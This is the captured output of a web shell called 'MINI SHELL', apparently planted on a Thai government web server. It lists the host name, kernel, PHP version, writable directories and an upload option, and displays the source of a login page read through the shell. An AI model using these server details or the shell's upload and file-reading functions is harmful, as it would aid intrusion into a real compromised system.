MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /var/www/html/pathumthani_vc/report/sar/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/pathumthani_vc/report/sar/weeraporn.php
<?   
session_start();
?>
<html>
<head>
<title>เข้าสู่ระบบฐานข้อมูล</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">
<SCRIPT language=JavaScript>
function checkFields() {
	missinginfo1 = "";
	missinginfo = "";
	if (document.form1.user.value == "")  {	missinginfo1 += "\n        - User name ไม่สามารถเป็นค่าว่าง"; }		
	if(document.form1.pwd.value=="") { missinginfo1 += "\n        - Password ไม่สามารถเป็นช่องว่าง";  }
	
	if (missinginfo1 != "") { 
		missinginfo += "ไม่สามารถเข้าระบบได้  เนื่องจาก \n";
		missinginfo +="_____________________________\n";
		missinginfo = missinginfo + missinginfo1  ;
		missinginfo += "\n_____________________________";
		missinginfo += "\nกรุณาตรวจสอบ อีกครั้ง";
		alert(missinginfo);
		return false;
		}
	}
</SCRIPT>
<link href="style.css" rel="stylesheet" type="text/css">
<style type="text/css">
<!--
.style1 {color: #FFFFFF}
.style2 {	font-size: medium;
	font-weight: bold;
	color: #FFFFFF;
}
-->
</style>
</head>

<body bgcolor="#252968">

<br>
<table width="780" height="80" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <td align="right" valign="middle" background="../../images/logon.jpg"><span class="style2">login เข้าสู่ระบบฐานข้ัอมูล&nbsp;</span></td>
  </tr>
</table>
<table width="500" border="0" align="center" cellpadding="6" cellspacing="0">
  <tr>
    <td align="center"><span class="style1"></span></td>
  </tr>
</table>
<table width="500" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <td><form name="form1" method="post" action="admin/login.php"  onSubmit="return checkFields()"   >
      <table width="100%"  border="0" cellpadding="0" cellspacing="2">
        <tr>
          <td height="30" colspan="4" align="center"> <strong><font color="#FF3333">
<? if (($username != "" ) and ($password != "" )){				?>		
		  ขออภัย ชื่อผู้ใช้ หรือ รหัสผ่าน ไม่ถูกต้อง กรุณาลองใหม่ 
<?	}			?>	
<br>
		  </font></strong> </td>
          </tr>
        <tr>
          <td width="26%">&nbsp;</td>
          <td colspan="2"><span class="style3"><strong><font color="#FFFFFF">User name </font></strong></span></td>
          <td width="11%">&nbsp;</td>
        </tr>
        <tr>
          <td>&nbsp;</td>
          <td width="2%">&nbsp;</td>
          <td width="61%" align="left"><input name="user" type="text" id="username2"></td>
          <td>&nbsp;</td>
        </tr>
        <tr>
          <td>&nbsp;</td>
          <td colspan="2"><font color="#FFFFFF"><strong> Password</strong></font></td>
          <td>&nbsp;</td>
        </tr>
        <tr>
          <td>&nbsp;</td>
          <td>&nbsp;</td>
          <td><table width="100%"  border="0" cellspacing="0" cellpadding="0">
              <tr>
                <td width="39%" align="left" valign="top"><input name="pwd" type="password" id="password" size="15"></td>
                <td width="61%"><input name="Submit" type="submit" value="  GO  "></td>
              </tr>
          </table></td>
          <td>&nbsp;</td>
        </tr>
      </table>

    </form></td>
  </tr>
</table>
</body>
</html>

Anon7 - 2021